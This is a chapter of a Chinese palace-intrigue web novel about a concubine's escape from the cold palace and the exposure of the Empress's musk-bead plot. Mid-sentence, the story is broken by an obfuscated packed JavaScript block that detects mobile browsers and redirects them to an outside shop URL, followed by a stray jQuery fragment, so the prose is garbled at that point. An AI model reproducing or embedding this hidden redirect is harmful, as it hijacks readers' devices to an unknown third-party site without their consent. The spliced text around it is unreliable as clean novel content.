宫宴过后,萧初乾按照惯例宿在皇后那里。
刚躺下,就听宫人通传,洪庶人从冷宫里跑出来了。
一时间宫中人心惶惶,洪庶人进冷宫前跟她结怨的人不少,谁知道她跑出来会不会去找谁寻仇?
“一群废物!”萧初乾再生气,这件事也得先解决,洪庶人也得先找出来,“魏福,调派宫中所有侍卫,务必将洪庶人找出来!还有,传朕旨意,看守冷宫的宫人全部杖毙!”
皇后穿戴整齐从内室出来温声劝道:“皇上再睡会吧,现在才丑时,宫人们会将洪庶人找到的。”
“洪庶人在冷宫好好关着,怎么会突然跑出来了?你觉得这事有没有隐情呢,皇后?”
萧初乾知道皇后一直记恨洪庶人害她小产一事,时常派人去冷宫折磨洪庶人,萧初乾念在她再不能有孩子的份上睁一只眼闭一只眼,可如今洪庶人跑出来,就是另外一回事了。
皇后立即跪下:“此事是臣妾失察,请皇上恕罪。”
“皇后若是身子还没好利索,管理不好这后宫,就将管理六宫的权力交给淑妃和章妃吧。”萧初乾知道皇后最怕什么,她让萧初乾不顺心,那萧初乾也没必要让她顺心。
皇后难掩眼中失落,垂下头低低应了一声:“是,臣妾知道了。”
听砚殿灯火通明,整个后宫都知道冷宫的洪美人跑出来了,他们也得提防着点。
崔长柳跟洪庶人没什么交集,也没什么仇怨,但难保洪庶人不会因着崔长柳有孕而忌恨。在冷宫里快要被折磨疯的女人,谁能说她一定会去做什么呢?
“那边窗户也去个人守着,千万不能大意!”金薇安排着每位宫人的去处,以确保听砚殿的安全,“宫门口那两个人干什么呢?打起精神来!”
杨絮儿在内室陪着崔长柳,翠梅进来通报:“主子,鱼采女带着素微殿的宫人也来了,说听候主子调遣。”
“让鱼采女进来吧,鱼采女的宫人交给金薇。”崔长柳吩咐。
鱼采女在她的一名贴身侍女的陪同下来了听砚殿内室:“姐姐,听他们说冷宫里的洪庶人跑出来了,可吓坏我了。”
崔长柳笑着安慰:“别太担心了,这么大的黄皇宫找人是不好找,不过宫里这么多宫人,还能防不住一个人了?”
鱼采女依旧面露忧愁:“姐姐可千万别掉以轻心,从前我们村里就有个疯子,有一会半夜跑出去翻窗进了一户人家,把那户人家一家八口全都杀了。那家人跟疯子甚至不认识,谁都不知道疯子为什么会选中那家,有人说是因为那家的媳妇才生了个儿子,疯子听到哭声想起自己被狼叼走的孩子了。”
鱼采女想要去抓崔长柳的手,被杨絮儿不动声色地隔开,鱼采女面上神色不变,苦口婆心劝着:“姐姐可千万别不放在心上,疯子做事没什么章法,不得不防啊。”
“我知道,你放心吧,这常宁宫被守得像铁桶一般,洪庶人闯不进来的。”
大约过了有半个时辰,外头终于传来洪庶人被抓住的消息,听砚殿众人这才松了口气。
金薇出去打探消息,回来后向崔长柳通报:“主子,奴婢听说洪庶人跑到孙贵人宫里去了,还好靳妃早就派人守着,这才将洪庶人抓住。听说孙贵人那里还引出了另一件事。”
“另一件事?”能将孙贵人和洪庶人扯到一起的事,崔长柳猜测十有八九跟皇后小产有关,“皇上呢?皇上可知道这事了?”
“已经有人禀报皇上了,现在皇上应该道到孙贵人的未央殿了。”
孙贵人是为了报当初皇后送她红麝香珠的仇,崔长柳可跟皇后也有仇呢。
“走,去未央殿。”
“姐姐不可!”杨絮儿站起来将人拦住,“如今姐姐腹中孩子才是最重要的,何苦去凑那热闹。”
那里人多眼杂,谁知道会不会有人对崔长柳下手?
“絮儿你是知道姐姐的,有人纵恶狗行凶我都得想法子咬回去,皇后算计我,我怎么能不去落井下石?”
杨絮儿抿唇:“可是……君子报仇十年不晚啊。”
“机会转瞬即逝,我确实可以之后再向皇上提这件事,只不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17722881|208751||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
过效果没有今日好,我是不会甘心的。”崔长柳拂开杨絮儿的手,戴上太后送的那串红珊瑚手串,“走吧金薇,随本宫看个热闹去。”
崔长柳一踏进未央殿的门,一个花瓶便砸在她脚边,稍微一偏就会头破血流。
“嫔妾参加皇上皇后娘娘。”
萧初乾蹙眉:“你不好好在自己宫里歇着,跑这儿来干什么?”
“回皇上,嫔妾自听闻洪庶人从冷宫里跑出来,就一直想起还未进宫时那杀了村里一家八口的疯子,心中实在难安。刚才又听说洪庶人被抓住,可还是心跳的厉害,这才亲自看看,以求心安。”
鱼采女不是个爱凑热闹的,平时也就在自己宫里打打络子绣绣帕子,现在给皇后请安都免了,她去的最远的地方就是崔长柳的听砚殿,故而崔长柳拿出刚才鱼采女的故事当理由搪塞。
“给琳贵人搬张椅子来坐下。”萧初乾吩咐。
“谢皇上。”
皇后看了一眼崔长柳,莫名觉得心慌。
洪庶人被两个嬷嬷死死按在地上,嘴也被堵住,孙贵人则是一脸平静地跪在一旁。
“孙贵人既然已经认罪,那便贬为采女,自己去冷宫吧。”萧初乾疲惫地闭上眼睛,今夜这么多事实在让他身心俱疲。
“皇上就这么轻易饶过孙采女了吗?臣妾的孩子死的冤枉啊!”皇后哭诉。
萧初乾不耐地看了皇后一眼:“他是死的冤,若非她生母作恶,他怎么会枉死?”
“臣妾不知那是麝香,只以为是样宝物,便赠予了孙采女,臣妾赠送心爱之物也有错吗?”
萧初乾将一个香囊砸在皇后身上:“以后这种脏东西,朕不想在宫里看见。”
崔长柳知道机会来了,站起来故作惊讶:“这不是皇后赏给孙采女的吗?这珠子有股好闻的香味,皇后娘娘得知嫔妾有孕,赏给嫔妾一个手串呢。只可惜叫太后娘娘瞧见给嫔妾要走了,又给嫔妾赔了一串,嫔妾心疼了好几日呢。”
萧初乾看死人一样看着皇后:“这就是皇后说的不知情?”